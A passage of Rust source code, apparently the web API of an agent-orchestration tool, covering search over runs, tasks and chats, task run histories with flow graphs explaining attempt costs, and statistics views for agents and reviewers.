3343 Query(q): Query<ReposQuery>,
3344) -> ApiResult<Json<Vec<repos::Repo>>> {
3345 let refresh = q.refresh != 0;
3346 blocking(move || {
3347 let (cfg, _) = Config::discover(&ui.repo, None)?;
3348 Ok(Json(ui.repos_cache.list(
3349 &cfg.repos.roots,
3350 Duration::from_secs(cfg.repos.scan_ttl),
3351 refresh,
3352 )))
3353 })
3354 .await
3355}
3356
3357async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3361 blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3362}
3363
3364#[derive(Debug, Deserialize)]
3366#[serde(deny_unknown_fields)]
3367struct RolesBody {
3368 revision: String,
3370 roles: std::collections::BTreeMap<String, Vec<String>>,
3372}
3373
3374async fn settings_put_roles(
3380 State(ui): State<Arc<Ui>>,
3381 body: std::result::Result<Json<RolesBody>, JsonRejection>,
3382) -> ApiResult<Json<settings::SettingsView>> {
3383 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3384 blocking(move || {
3385 settings::save(
3386 &ui.repo,
3387 ui.machine_config.as_deref(),
3388 &body.revision,
3389 &body.roles,
3390 )
3391 .map(Json)
3392 .map_err(|e| match e {
3393 settings::SaveError::Conflict(m) => ApiError::conflict(m),
3394 settings::SaveError::Refused(m) => ApiError {
3395 status: StatusCode::UNPROCESSABLE_ENTITY,
3396 message: m,
3397 },
3398 settings::SaveError::Internal(m) => ApiError::internal(m),
3399 })
3400 })
3401 .await
3402}
3403
3404async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
3405 blocking(move || {
3406 let tasks = ui.queue.list();
3407 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3408 Ok(Json(
3409 tasks
3410 .into_iter()
3411 .map(|t| TaskView::with_inventory(t, &inv))
3412 .collect(),
3413 ))
3414 })
3415 .await
3416}
3417
3418const SEARCH_MAX_HITS: usize = 100;
3420const SEARCH_MAX_QUERY: usize = 200;
3422const SEARCH_MAX_TERMS: usize = 8;
3423const SNIPPET_BEFORE: usize = 50;
3425const SNIPPET_AFTER: usize = 110;
3426
3427#[derive(Debug, Deserialize)]
3429struct SearchQuery {
3430 #[serde(default)]
3431 scope: String,
3432 #[serde(default)]
3433 q: String,
3434}
3435
3436#[derive(Debug, Serialize, PartialEq, Eq)]
3439struct SnippetPart {
3440 text: String,
3441 hit: bool,
3442}
3443
3444#[derive(Debug, Serialize)]
3445struct SearchHit {
3446 id: String,
3447 field: String,
3449 snippet: Vec<SnippetPart>,
3450 #[serde(skip_serializing_if = "Option::is_none")]
3454 run: Option<RunSummary>,
3455}
3456
3457#[derive(Debug, Serialize)]
3458struct SearchView {
3459 scope: String,
3460 q: String,
3461 hits: Vec<SearchHit>,
3463 total: usize,
3465 truncated: bool,
3466 unreadable: usize,
3469}
3470
3471fn text_leaves<'a>(
3474 value: &'a serde_json::Value,
3475 field: &'a str,
3476 out: &mut Vec<(&'a str, &'a str)>,
3477) {
3478 match value {
3479 serde_json::Value::String(s) => out.push((field, s)),
3480 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3481 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3482 _ => {}
3483 }
3484}
3485
3486fn fold_char(c: char) -> char {
3489 c.to_lowercase().next().unwrap_or(c)
3490}
3491
3492fn search_terms(q: &str) -> Vec<String> {
3494 let mut terms: Vec<String> = Vec::new();
3495 for t in q.split_whitespace() {
3496 let t = t.to_lowercase();
3497 if !terms.contains(&t) {
3498 terms.push(t);
3499 }
3500 }
3501 terms
3502}
3503
3504fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3507 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3508 let mut first: Option<usize> = None;
3509 for term in terms {
3510 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3511 first = Some(first.map_or(at, |f| f.min(at)));
3512 }
3513 let (field, text) = leaves[first?];
3515 Some(SearchHit {
3516 id: String::new(),
3517 field: field.to_owned(),
3518 snippet: snippet_of(text, terms),
3519 run: None,
3520 })
3521}
3522
3523fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3526 let chars: Vec<char> = text.chars().collect();
3527 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3528 let needles: Vec<Vec<char>> = terms
3529 .iter()
3530 .map(|t| t.chars().map(fold_char).collect())
3531 .collect();
3532 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3533 let mut best: Option<(usize, usize)> = None;
3534 for n in needles.iter().filter(|n| !n.is_empty()) {
3535 if n.len() > chars.len() || to == 0 {
3539 continue;
3540 }
3541 let last = (to - 1).min(chars.len() - n.len());
3542 if from > last {
3543 continue;
3544 }
3545 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3546 && best.is_none_or(|(b, _)| i < b)
3547 {
3548 best = Some((i, i + n.len()));
3549 }
3550 }
3551 best
3552 };
3553 let Some((start, _)) = find(0, chars.len()) else {
3554 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
3556 return vec![SnippetPart {
3557 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
3558 hit: false,
3559 }];
3560 };
3561 let lo = start.saturating_sub(SNIPPET_BEFORE);
3562 let hi = (start + SNIPPET_AFTER).min(chars.len());
3563 let mut parts: Vec<SnippetPart> = Vec::new();
3564 let mut push = |s: &[char], hit: bool| {
3565 if s.is_empty() {
3566 return;
3567 }
3568 let text: String = s.iter().collect();
3569 match parts.last_mut() {
3570 Some(p) if p.hit == hit => p.text.push_str(&text),
3571 _ => parts.push(SnippetPart { text, hit }),
3572 }
3573 };
3574 if lo > 0 {
3575 push(&['\u{2026}'], false);
3576 }
3577 let mut at = lo;
3578 while at < hi {
3579 match find(at, hi) {
3580 Some((s, e)) => {
3581 push(&chars[at..s], false);
3582 let shown = e.min(hi);
3584 push(&chars[s..shown], true);
3585 at = shown;
3586 }
3587 None => {
3588 push(&chars[at..hi], false);
3589 at = hi;
3590 }
3591 }
3592 }
3593 if hi < chars.len() {
3594 push(&['\u{2026}'], false);
3595 }
3596 let mut prev_space = false;
3599 for p in &mut parts {
3600 let mut out = String::with_capacity(p.text.len());
3601 for c in p.text.chars() {
3602 if c.is_whitespace() {
3603 if !prev_space {
3604 out.push(' ');
3605 }
3606 prev_space = true;
3607 } else {
3608 out.push(c);
3609 prev_space = false;
3610 }
3611 }
3612 p.text = out;
3613 }
3614 parts.retain(|p| !p.text.is_empty());
3615 parts
3616}
3617
3618fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
3620where
3621 I: IntoIterator<Item = (String, serde_json::Value)>,
3622{
3623 for (id, doc) in docs {
3624 let mut leaves = Vec::new();
3625 leaves.push(("id", id.as_str()));
3628 text_leaves(&doc, "", &mut leaves);
3629 if let Some(mut hit) = search_document(terms, &leaves) {
3630 view.total += 1;
3631 if view.hits.len() < SEARCH_MAX_HITS {
3632 hit.id = id;
3633 view.hits.push(hit);
3634 }
3635 }
3636 }
3637 view.truncated = view.total > view.hits.len();
3638}
3639
3640fn talk_search_doc(talk: &Talk) -> serde_json::Value {
3647 let opener = talk
3648 .turns
3649 .iter()
3650 .find(|t| t.who == crate::talk::Who::Operator)
3651 .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
3652 .unwrap_or("");
3653 let title: String = if opener.chars().count() > 96 {
3654 opener.chars().take(95).chain(['\u{2026}']).collect()
3655 } else {
3656 opener.to_owned()
3657 };
3658 let turns: Vec<serde_json::Value> = talk
3659 .turns
3660 .iter()
3661 .map(|t| {
3662 let who = match t.who {
3663 crate::talk::Who::Operator => "operator",
3664 crate::talk::Who::Agent => "agent",
3665 };
3666 serde_json::json!({ who: t.body })
3667 })
3668 .collect();
3669 serde_json::json!({ "title": title, "turns": turns })
3670}
3671
3672async fn search_get(
3679 State(ui): State<Arc<Ui>>,
3680 Query(q): Query<SearchQuery>,
3681) -> ApiResult<Json<SearchView>> {
3682 let query = q.q.trim().to_owned();
3683 if query.is_empty() {
3684 return Err(ApiError::bad_request("q must not be empty"));
3685 }
3686 if query.chars().count() > SEARCH_MAX_QUERY {
3687 return Err(ApiError::bad_request(format!(
3688 "q is longer than {SEARCH_MAX_QUERY} characters"
3689 )));
3690 }
3691 let terms = search_terms(&query);
3692 if terms.len() > SEARCH_MAX_TERMS {
3693 return Err(ApiError::bad_request(format!(
3694 "q has more than {SEARCH_MAX_TERMS} terms"
3695 )));
3696 }
3697 let scope = q.scope;
3698 if scope != "runs" && scope != "tasks" && scope != "chats" {
3699 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
3700 }
3701 blocking(move || {
3702 let mut view = SearchView {
3703 scope: scope.clone(),
3704 q: query,
3705 hits: Vec::new(),
3706 total: 0,
3707 truncated: false,
3708 unreadable: 0,
3709 };
3710 if scope == "runs" {
3711 let mut unreadable = 0;
3712 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
3716 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
3717 match body.and_then(|b| serde_json::from_str(&b).ok()) {
3718 Some(v) => Some((id, v)),
3719 None => {
3720 unreadable += 1;
3721 None
3722 }
3723 }
3724 });
3725 search_docs(&terms, docs, &mut view);
3726 view.unreadable = unreadable;
3727 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3730 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3731 for hit in &mut view.hits {
3732 if let Ok(state) = read_run(&ui.runs, &hit.id) {
3733 hit.run = summarize(
3734 [state],
3735 &open_runs,
3736 &claimed,
3737 &superseded,
3738 |p| probe.borrow_mut().status(p),
3739 |p| probe.borrow_mut().started_at(p),
3740 )
3741 .pop();
3742 }
3743 }
3744 } else if scope == "chats" {
3745 let (talks, unreadable) = ui.talks.list_counting_unreadable();
3746 view.unreadable = unreadable;
3747 search_docs(
3748 &terms,
3749 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
3750 &mut view,
3751 );
3752 } else {
3753 let docs = ui.queue.list().into_iter().filter_map(|t| {
3754 let mut v = serde_json::to_value(&t).ok()?;
3755 if let Some(o) = v.as_object_mut() {
3758 o.insert("filed_by".to_owned(), t.source.label().into());
3759 }
3760 Some((t.id, v))
3761 });
3762 search_docs(&terms, docs, &mut view);
3763 }
3764 Ok(Json(view))
3765 })
3766 .await
3767}
3768
3769#[derive(Debug, Serialize)]
3771struct TaskRunView {
3772 n: usize,
3774 id: String,
3775 short: String,
3776 kind: &'static str,
3778 status: Option<&'static str>,
3780 readable: bool,
3782 provisional: bool,
3784 description: String,
3786 outcome: String,
3788 created_at: Option<Timestamp>,
3789 pr: Option<String>,
3790 exit: RunExit,
3792 attempt: AttemptCost,
3794 branch: Option<String>,
3796}
3797
3798#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3800#[serde(rename_all = "snake_case")]
3801enum RunExit {
3802 Unreadable,
3803 Interrupted,
3805 Parked,
3806 QuotaStall,
3807 ResumedQuotaStall,
3811 Merged,
3812 Ready,
3813 Superseded,
3814 AlreadyInBase,
3817 Stalled,
3819 HeldWithPr,
3821 NoopHeld,
3822 Spent,
3824 InProgress,
3825}
3826
3827#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
3828#[serde(rename_all = "snake_case")]
3829enum AttemptCost {
3830 Spent,
3831 Refunded,
3832 None,
3833 Unknown,
3835}
3836
3837impl RunExit {
3838 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
3839 let Some(s) = s else {
3840 return Self::Unreadable;
3841 };
3842 let status = s.status;
3843 if resumed_later {
3844 Self::Interrupted
3845 } else if s.parked {
3846 Self::Parked
3847 } else if !status.done() {
3848 Self::InProgress
3849 } else if matches!(status, RunStatus::Merged) {
3850 Self::Merged
3851 } else if matches!(status, RunStatus::Ready) {
3852 Self::Ready
3853 } else if matches!(status, RunStatus::Superseded) {
3854 Self::Superseded
3855 } else if matches!(status, RunStatus::AlreadyInBase) {
3856 Self::AlreadyInBase
3857 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3858 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3859 {
3860 if resumed {
3861 Self::ResumedQuotaStall
3862 } else {
3863 Self::QuotaStall
3864 }
3865 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3866 Self::HeldWithPr
3867 } else if matches!(status, RunStatus::VerifiedNoop) {
3868 Self::NoopHeld
3869 } else if matches!(status, RunStatus::Stalled) {
3870 Self::Stalled
3871 } else {
3872 Self::Spent
3873 }
3874 }
3875
3876 fn cost(self) -> AttemptCost {
3877 match self {
3878 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
3879 Self::Merged
3880 | Self::Ready
3881 | Self::Stalled
3882 | Self::HeldWithPr
3883 | Self::NoopHeld
3884 | Self::Spent => AttemptCost::Spent,
3885 Self::InProgress => AttemptCost::None,
3886 Self::AlreadyInBase => AttemptCost::Refunded,
3887 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
3888 AttemptCost::Unknown
3889 }
3890 }
3891 }
3892
3893 fn edge_label(self, status: Option<&str>) -> String {
3895 match self {
3896 Self::Unreadable => "record unreadable".to_owned(),
3897 Self::Interrupted => "interrupted before the run finished".to_owned(),
3898 Self::Parked => "parked, attempt refunded".to_owned(),
3899 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
3900 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
3901 Self::Merged => "merged".to_owned(),
3902 Self::Ready => "ready, not merged".to_owned(),
3903 Self::Superseded => "superseded by a later attempt".to_owned(),
3904 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
3905 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
3906 Self::HeldWithPr => "blocked, PR left open".to_owned(),
3907 Self::NoopHeld => "verified no-op".to_owned(),
3908 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
3909 Self::InProgress => "in progress".to_owned(),
3910 }
3911 }
3912
3913 fn explains(self, end: TaskStatus) -> bool {
3916 match self {
3917 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
3918 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
3919 Self::Unreadable | Self::Superseded | Self::Ready => true,
3920 _ => end != TaskStatus::Done,
3921 }
3922 }
3923}
3924
3925#[derive(Debug, Serialize)]
3927struct TaskDetailView {
3928 #[serde(flatten)]
3929 task: TaskView,
3930 max_attempts: usize,
3933 history: Vec<TaskRunView>,
3934 flow: FlowView,
3935 runs_unreadable: usize,
3937 attempts_note: &'static str,
3939}
3940
3941const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3942and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3943on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3944in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3945
3946fn review_branch_of(instruction: &str) -> Option<&str> {
3949 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3950 rest.split('`').next().filter(|b| !b.is_empty())
3951}
3952
3953struct RunSlot<'a> {
3955 n: usize,
3957 resumed: bool,
3959 resumed_later: Option<usize>,
3961 prior: Option<(&'a str, RunStatus)>,
3963 last: bool,
3964}
3965
3966fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3969 let RunSlot {
3970 n,
3971 resumed,
3972 resumed_later,
3973 prior,
3974 last,
3975 } = at;
3976 let short = run::short_of(id).to_owned();
3977 let Some(s) = state else {
3978 return TaskRunView {
3979 n,
3980 id: id.to_owned(),
3981 short,
3982 kind: "unknown",
3983 status: None,
3984 readable: false,
3985 provisional: false,
3986 description:
3987 "This run's record could not be read by this build (written by a different \
3988 magi, or removed), so what kind of attempt it was is unknown."
3989 .to_owned(),
3990 outcome: String::new(),
3991 created_at: None,
3992 pr: None,
3993 exit: RunExit::Unreadable,
3994 attempt: AttemptCost::Unknown,
3995 branch: None,
3996 };
3997 };
3998 let branch = review_branch_of(&s.instruction);
3999 let kind = if resumed {
4000 "resume"
4001 } else if branch.is_some() {
4002 "review"
4003 } else if task.solo || s.candidates.len() == 1 {
4004 "solo"
4005 } else {
4006 "competition"
4007 };
4008 let mut description = match kind {
4009 "resume" => {
4010 format!("Resumed run {short}: the same run carried on instead of competing again.")
4011 }
4012 "review" => format!(
4013 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
4014 branch.unwrap_or_default()
4015 ),
4016 "solo" => "Solo run: one implementer straight into review.".to_owned(),
4017 _ => format!(
4018 "Competition: {} candidates judged blind.",
4019 s.candidates.len().max(1)
4020 ),
4021 };
4022 if !resumed && let Some((p, st)) = prior {
4023 description.push_str(&format!(
4024 " A retry: run {p} before it ended {}.",
4025 st.display_label()
4026 ));
4027 }
4028
4029 let status = s.status;
4030 let provisional = matches!(status, RunStatus::Stalled)
4031 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
4032 let head = if resumed_later.is_some() {
4033 String::new()
4034 } else {
4035 match status {
4036 RunStatus::Merged => "Merged.".to_owned(),
4037 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
4038 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
4039 RunStatus::AlreadyInBase => {
4040 "Already in the base: this change landed under other commits, nothing was left to land."
4041 .to_owned()
4042 }
4043 RunStatus::Stalled => {
4044 "Stalled: the judging panel never reached a quorum, so there is no verdict."
4045 .to_owned()
4046 }
4047 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
4048 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
4049 RunStatus::VerifiedNoop => {
4050 "Verified no-op: the candidates found nothing to change.".to_owned()
4051 }
4052 other if other.done() => format!("Ended {}.", other.display_label()),
4053 other => format!("In progress ({}).", other.display_label()),
4054 }
4055 };
4056 let why = if let Some(k) = resumed_later {
4057 let cause = if s.quota.is_empty() {
4064 "the cause was not recorded: a park, a crash or a restart all look the same from here"
4065 } else {
4066 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
4067 };
4068 format!(
4069 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
4070 )
4071 } else if s.parked {
4072 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
4073 .to_owned()
4074 } else if !status.done()
4075 || matches!(
4076 status,
4077 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
4078 )
4079 {
4080 String::new()
4081 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4082 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4083 {
4084 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
4085 .to_owned()
4086 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4087 " It left a pull request open, so the task was held for a person rather than retried."
4088 .to_owned()
4089 } else if matches!(status, RunStatus::VerifiedNoop) {
4090 " Held for a person to check the claim.".to_owned()
4091 } else if last {
4092 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
4093 } else {
4094 " It spent an attempt, and the task moved on to the next run.".to_owned()
4095 };
4096 let exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
4097 TaskRunView {
4098 n,
4099 id: id.to_owned(),
4100 short,
4101 kind,
4102 status: Some(status.as_str()),
4103 readable: true,
4104 provisional,
4105 description,
4106 outcome: format!("{head}{why}"),
4107 created_at: Some(s.created_at),
4108 pr: s.pr.as_ref().map(|p| p.url.clone()),
4109 exit,
4110 attempt: exit.cost(),
4111 branch: branch.map(str::to_owned),
4112 }
4113}
4114
4115#[derive(Debug, Serialize, PartialEq)]
4117struct FlowNode {
4118 key: String,
4120 kind: &'static str,
4122 label: String,
4123 status: Option<&'static str>,
4126 note: Option<&'static str>,
4128 run_kind: Option<&'static str>,
4129 detail: Option<String>,
4130 decided: bool,
4132 readable: bool,
4133 href: Option<String>,
4134}
4135
4136#[derive(Debug, Serialize, PartialEq)]
4137struct FlowEdge {
4138 from: String,
4139 to: String,
4140 label: String,
4141 attempt: AttemptCost,
4142}
4143
4144#[derive(Debug, Serialize, PartialEq)]
4145struct FlowView {
4146 nodes: Vec<FlowNode>,
4147 edges: Vec<FlowEdge>,
4148 attempts: usize,
4150 max_attempts: usize,
4151}
4152
4153fn task_flow(task: &Task, history: &[TaskRunView], max_attempts: usize) -> FlowView {
4156 let node = |key: &str, kind, label: String| FlowNode {
4157 key: key.to_owned(),
4158 kind,
4159 label,
4160 status: None,
4161 note: None,
4162 run_kind: None,
4163 detail: None,
4164 decided: false,
4165 readable: true,
4166 href: None,
4167 };
4168 let mut nodes = Vec::new();
4169 let mut edges: Vec<FlowEdge> = Vec::new();
4170 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
4172 let mut n = node(
4173 "chat",
4174 "chat",
4175 format!("Chat {}", crate::queue::short(&link.id)),
4176 );
4177 n.href = Some(link.href);
4178 nodes.push(n);
4179 edges.push(FlowEdge {
4180 from: "chat".to_owned(),
4181 to: "start".to_owned(),
4182 label: "queued from chat".to_owned(),
4183 attempt: AttemptCost::None,
4184 });
4185 }
4186 nodes.push(node("start", "start", "Task queued".to_owned()));
4187 let mut prev = "start".to_owned();
4188 let mut prev_exit: Option<(RunExit, Option<&str>)> = None;
4189 for (i, h) in history.iter().enumerate() {
4190 let key = format!("run-{}", h.n);
4191 let mut n = node(&key, "run", format!("Run {}", h.short));
4192 n.run_kind = Some(h.kind);
4193 n.readable = h.readable;
4194 n.href = Some(format!("#/runs/{}", h.id));
4195 n.decided = h.readable && !h.provisional;
4196 n.detail = h
4197 .branch
4198 .as_ref()
4199 .map(|b| format!("review-only run of branch {b}"));
4200 match h.exit {
4201 RunExit::Unreadable => n.note = Some("unreadable"),
4202 RunExit::Interrupted => n.note = Some("interrupted"),
4203 _ => {
4204 n.status = h.status;
4205 if h.provisional {
4206 n.note = Some("no verdict");
4207 }
4208 }
4209 }
4210 let into = match h.kind {
4211 "review" => Some(format!(
4212 "review-only run of branch {}",
4213 h.branch.as_deref().unwrap_or("?")
4214 )),
4215 "resume" => Some("resume the same run".to_owned()),
4216 _ if i > 0 => Some("retry".to_owned()),
4217 _ => None,
4218 };
4219 let label = match (prev_exit, into) {
4220 (Some((e, st)), Some(i)) => format!("{} \u{2192} {i}", e.edge_label(st)),
4221 (Some((e, st)), None) => e.edge_label(st),
4222 (None, Some(i)) => i,
4223 (None, None) => "claimed".to_owned(),
4224 };
4225 edges.push(FlowEdge {
4226 from: prev.clone(),
4227 to: key.clone(),
4228 label,
4229 attempt: prev_exit.map_or(AttemptCost::None, |(e, _)| e.cost()),
4230 });
4231 prev_exit = Some((h.exit, h.status));
4232 prev = key;
4233 nodes.push(n);
4234 }
4235 let mut end = node("end", "end", task.status.as_str().to_owned());
4236 end.status = Some(task.status.as_str());
4237 nodes.push(end);
4238 let (label, attempt) = match prev_exit {
4239 None => (
4240 format!("no run yet \u{2192} {}", task.status.as_str()),
4241 AttemptCost::None,
4242 ),
4243 Some((e, st)) if e.explains(task.status) => (
4244 format!("{} \u{2192} {}", e.edge_label(st), task.status.as_str()),
4245 e.cost(),
4246 ),
4247 Some((e, _)) => (
4248 format!("closed by hand: task is {}", task.status.as_str()),
4249 e.cost(),
4250 ),
4251 };
4252 edges.push(FlowEdge {
4253 from: prev,
4254 to: "end".to_owned(),
4255 label,
4256 attempt,
4257 });
4258 FlowView {
4259 nodes,
4260 edges,
4261 attempts: task.attempts,
4262 max_attempts,
4263 }
4264}
4265
4266fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
4269 let mut history = Vec::with_capacity(task.runs.len());
4270 let mut seen: Vec<&str> = Vec::new();
4271 let mut prior: Option<(&str, RunStatus)> = None;
4272 for (i, run_id) in task.runs.iter().enumerate() {
4273 let state = read(run_id);
4274 let resumed = seen.contains(&run_id.as_str());
4275 seen.push(run_id);
4276 history.push(task_run_view(
4277 run_id,
4278 state.as_ref(),
4279 RunSlot {
4280 n: i + 1,
4281 resumed,
4282 resumed_later: task.runs[i + 1..]
4283 .iter()
4284 .position(|r| r == run_id)
4285 .map(|off| i + off + 2),
4286 prior,
4287 last: i + 1 == task.runs.len(),
4288 },
4289 task,
4290 ));
4291 if let Some(s) = &state {
4292 prior = Some((run::short_of(run_id), s.status));
4293 }
4294 }
4295 history
4296}
4297
4298async fn task_detail(
4299 State(ui): State<Arc<Ui>>,
4300 Path(id): Path<String>,
4301) -> ApiResult<Json<TaskDetailView>> {
4302 blocking(move || {
4303 let id = resolve_task(&ui.queue, &id)?;
4304 let task = ui
4305 .queue
4306 .get(&id)
4307 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
4308 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
4309 let history = task_history(&task, |id| read_run(&ui.runs, id).ok());
4310 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
4311 let max_attempts = daemon::Opts::default().max_attempts;
4312 let flow = task_flow(&task, &history, max_attempts);
4313 Ok(Json(TaskDetailView {
4314 max_attempts,
4315 flow,
4316 history,
4317 runs_unreadable,
4318 attempts_note: ATTEMPTS_NOTE,
4319 task: TaskView::with_inventory(task, &inv),
4320 }))
4321 })
4322 .await
4323}
4324
4325#[derive(Debug, Serialize)]
4329struct RateView {
4330 pct: f64,
4331 denominator: usize,
4332}
4333
4334impl RateView {
4335 fn of(numerator: usize, denominator: usize) -> Option<Self> {
4336 (denominator > 0).then(|| Self {
4337 pct: 100.0 * numerator as f64 / denominator as f64,
4338 denominator,
4339 })
4340 }
4341}
4342
4343#[derive(Debug, Serialize)]
4348struct StatsTotalsView {
4349 runs: usize,
4350 merged: usize,
4351 ready: usize,
4352 blocked: usize,
4353 failed: usize,
4354 stalled: usize,
4355 verified_noop: usize,
4356 superseded: usize,
4357 in_progress: usize,
4358 completion_rate: Option<RateView>,
4359 tallied: usize,
4360 split: usize,
4361 split_rate: Option<RateView>,
4362 deliberated: usize,
4363 minds_changed: usize,
4364 converged: usize,
4365 review_rounds: usize,
4366}
4367
4368impl From<&stats::Totals> for StatsTotalsView {
4369 fn from(t: &stats::Totals) -> Self {
4370 Self {
4371 runs: t.runs,
4372 merged: t.merged,
4373 ready: t.ready,
4374 blocked: t.blocked,
4375 failed: t.failed,
4376 stalled: t.stalled,
4377 verified_noop: t.verified_noop,
4378 superseded: t.superseded,
4379 in_progress: t.in_progress,
4380 completion_rate: RateView::of(t.merged + t.ready, t.runs),
4381 tallied: t.tallied,
4382 split: t.split,
4383 split_rate: RateView::of(t.split, t.tallied),
4384 deliberated: t.deliberated,
4385 minds_changed: t.minds_changed,
4386 converged: t.converged,
4387 review_rounds: t.review_rounds,
4388 }
4389 }
4390}
4391
4392#[derive(Debug, Serialize)]
4394struct AgentStatsView {
4395 agent: String,
4396 entered: usize,
4397 wins: usize,
4398 empty: usize,
4399 win_rate: Option<RateView>,
4400}
4401
4402impl From<&stats::AgentStats> for AgentStatsView {
4403 fn from(a: &stats::AgentStats) -> Self {
4404 Self {
4405 agent: a.agent.clone(),
4406 entered: a.entered,
4407 wins: a.wins,
4408 empty: a.empty,
4409 win_rate: RateView::of(a.wins, a.entered),
4410 }
4411 }
4412}
4413
4414#[derive(Debug, Serialize)]
4418struct ReviewerStatsView {
4419 agent: String,
4420 rounds: usize,
4421 seated: usize,
4422 submitted: usize,
4423 adopted: usize,
4424 unique: usize,
4425 timeouts: usize,
4426 adopted_per_round: Option<f64>,
4427 precision: Option<RateView>,
4428 unique_rate: Option<RateView>,
4429 timeout_rate: Option<RateView>,
4430}
4431
4432impl From<&stats::ReviewerStats> for ReviewerStatsView {
4433 fn from(r: &stats::ReviewerStats) -> Self {
4434 Self {
4435 agent: r.agent.clone(),
4436 rounds: r.rounds,
4437 seated: r.seated,
4438 submitted: r.submitted,
4439 adopted: r.adopted,
4440 unique: r.unique,
4441 timeouts: r.timeouts,
4442 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
4443 precision: RateView::of(r.adopted, r.submitted),
4444 unique_rate: RateView::of(r.unique, r.submitted),
4445 timeout_rate: RateView::of(r.timeouts, r.seated),
4446 }
4447 }
4448}
4449
4450#[derive(Debug, Serialize)]
4456struct AdvisorStatsView {
4457 agent: String,
4458 seated: usize,
4459 proposed: usize,
4460 absent: usize,
4461 faint: usize,
4462 strong: usize,
4463 reflection_rate: Option<RateView>,
4464}
4465
4466impl From<&stats::AdvisorStats> for AdvisorStatsView {
4467 fn from(a: &stats::AdvisorStats) -> Self {
4468 Self {
4469 agent: a.agent.clone(),
4470 seated: a.seated,
4471 proposed: a.proposed,
4472 absent: a.absent,
4473 faint: a.faint,
4474 strong: a.strong,
4475 reflection_rate: RateView::of(a.strong, a.proposed),
4476 }
4477 }
4478}
4479
4480#[derive(Debug, Serialize)]
4482struct E2eStatsView {
4483 rounds: usize,
4484 failures: usize,
4485 sole_detections: usize,
4486 deferred: usize,
4487 sole_rate: Option<RateView>,
4488}
4489
4490impl From<&stats::E2eStats> for E2eStatsView {
4491 fn from(e: &stats::E2eStats) -> Self {
4492 Self {
4493 rounds: e.rounds,
4494 failures: e.failures,
4495 sole_detections: e.sole_detections,
4496 deferred: e.deferred,
4497 sole_rate: RateView::of(e.sole_detections, e.failures),
4498 }
4499 }
4500}
4501
